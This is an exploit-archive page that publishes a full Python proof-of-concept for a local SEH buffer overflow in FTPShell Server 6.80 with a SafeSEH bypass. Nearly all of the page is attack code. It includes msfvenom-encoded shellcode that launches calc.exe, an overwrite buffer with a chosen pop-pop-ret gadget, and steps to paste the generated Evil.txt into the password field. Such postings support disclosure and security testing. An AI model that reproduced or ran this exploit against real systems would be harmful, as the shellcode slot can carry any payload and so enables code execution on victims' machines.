exploit the possibilities

FTPShell Server 6.80 Local Buffer Overflow

FTPShell Server 6.80 Local Buffer Overflow
Posted May 22, 2018
Authored by Hashim Jawad

FTPShell Server version 6.80 local buffer overflow exploit with SafeSEH bypass.

tags | exploit, overflow, local
MD5 | 40cfd7e488e4d9cdb73978bb8844d4f1

FTPShell Server 6.80 Local Buffer Overflow

Change Mirror Download
#!/usr/bin/python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title : FTPShell Server v6.80 - Local Buffer Overflow (SafeSEH Bypass) #
# Exploit Author : Hashim Jawad - @ihack4falafel #
# Vendor Homepage : http://www.ftpshell.com/ #
# Vulnerable Software: http://www.ftpshell.com/downloadserver.htm #
# Tested on : Windows XP Professional SP3 #
# Steps to reproduce : paste contents of Evil.txt in 'Password' field under configure accounts>Change pass #
#----------------------------------------------------------------------------------------------------------#

'''
Notes:
=====
* All loaded modules including base binary are compiled with /SAFESEH
* Null byte '\x00' get mangled by the program and end up as space '\x20'
'''

#root@kali:~# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -b "\x00\x0a\x0d" -f python -v shellcode
#Payload size: 447 bytes
shellcode = ""
shellcode += "\x89\xe0\xd9\xed\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x79"
shellcode += "\x6c\x7a\x48\x4c\x42\x67\x70\x73\x30\x57\x70\x43"
shellcode += "\x50\x4d\x59\x4b\x55\x36\x51\x59\x50\x61\x74\x4e"
shellcode += "\x6b\x56\x30\x46\x50\x6e\x6b\x61\x42\x56\x6c\x6c"
shellcode += "\x4b\x72\x72\x32\x34\x6e\x6b\x61\x62\x37\x58\x76"
shellcode += "\x6f\x38\x37\x72\x6a\x54\x66\x55\x61\x4b\x4f\x4e"
shellcode += "\x4c\x45\x6c\x30\x61\x71\x6c\x35\x52\x46\x4c\x45"
shellcode += "\x70\x6b\x71\x58\x4f\x44\x4d\x77\x71\x69\x57\x7a"
shellcode += "\x42\x6c\x32\x63\x62\x46\x37\x4e\x6b\x62\x72\x62"
shellcode += "\x30\x6e\x6b\x53\x7a\x47\x4c\x4c\x4b\x52\x6c\x74"
shellcode += "\x51\x52\x58\x6b\x53\x62\x68\x77\x71\x5a\x71\x62"
shellcode += "\x71\x4e\x6b\x76\x39\x57\x50\x36\x61\x4a\x73\x6e"
shellcode += "\x6b\x47\x39\x56\x78\x59\x73\x65\x6a\x52\x69\x6e"
shellcode += "\x6b\x57\x44\x6c\x4b\x67\x71\x4e\x36\x34\x71\x6b"
shellcode += "\x4f\x6e\x4c\x5a\x61\x58\x4f\x74\x4d\x76\x61\x4b"
shellcode += "\x77\x70\x38\x69\x70\x52\x55\x38\x76\x75\x53\x51"
shellcode += "\x6d\x59\x68\x65\x6b\x73\x4d\x65\x74\x43\x45\x78"
shellcode += "\x64\x61\x48\x6c\x4b\x36\x38\x67\x54\x76\x61\x49"
shellcode += "\x43\x73\x56\x4c\x4b\x76\x6c\x50\x4b\x6e\x6b\x31"
shellcode += "\x48\x77\x6c\x43\x31\x79\x43\x6e\x6b\x43\x34\x4c"
shellcode += "\x4b\x53\x31\x7a\x70\x4d\x59\x37\x34\x66\x44\x67"
shellcode += "\x54\x33\x6b\x53\x6b\x50\x61\x30\x59\x31\x4a\x63"
shellcode += "\x61\x69\x6f\x59\x70\x71\x4f\x51\x4f\x33\x6a\x6e"
shellcode += "\x6b\x76\x72\x6a\x4b\x6e\x6d\x33\x6d\x43\x5a\x63"
shellcode += "\x31\x6c\x4d\x6c\x45\x4c\x72\x47\x70\x45\x50\x33"
shellcode += "\x30\x56\x30\x53\x58\x74\x71\x4e\x6b\x62\x4f\x4f"
shellcode += "\x77\x59\x6f\x6b\x65\x6f\x4b\x4c\x30\x4f\x45\x6d"
shellcode += "\x72\x43\x66\x62\x48\x39\x36\x6a\x35\x6f\x4d\x4d"
shellcode += "\x4d\x59\x6f\x5a\x75\x47\x4c\x53\x36\x63\x4c\x55"
shellcode += "\x5a\x4f\x70\x49\x6b\x6d\x30\x31\x65\x53\x35\x6d"
shellcode += "\x6b\x62\x67\x37\x63\x30\x72\x62\x4f\x32\x4a\x55"
shellcode += "\x50\x70\x53\x79\x6f\x6e\x35\x31\x73\x71\x71\x30"
shellcode += "\x6c\x71\x73\x46\x4e\x43\x55\x51\x68\x35\x35\x35"
shellcode += "\x50\x41\x41"

buffer = '\xcc' * 2101 # filler to nSEH offset
buffer += '\xeb\x06\x90\x90' # nSEH | hop over SEH
buffer += '\x18\x05\xfc\x7f' # SEH | 0x7ffc0518 : pop edi # pop edi # ret [SafeSEH Bypass]
buffer += '\x90' * 10 # nops sled
buffer += shellcode # calc.exe
buffer += '\xcc' * (5000-2101-4-4-10-len(shellcode))

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except Exception as e:
print e

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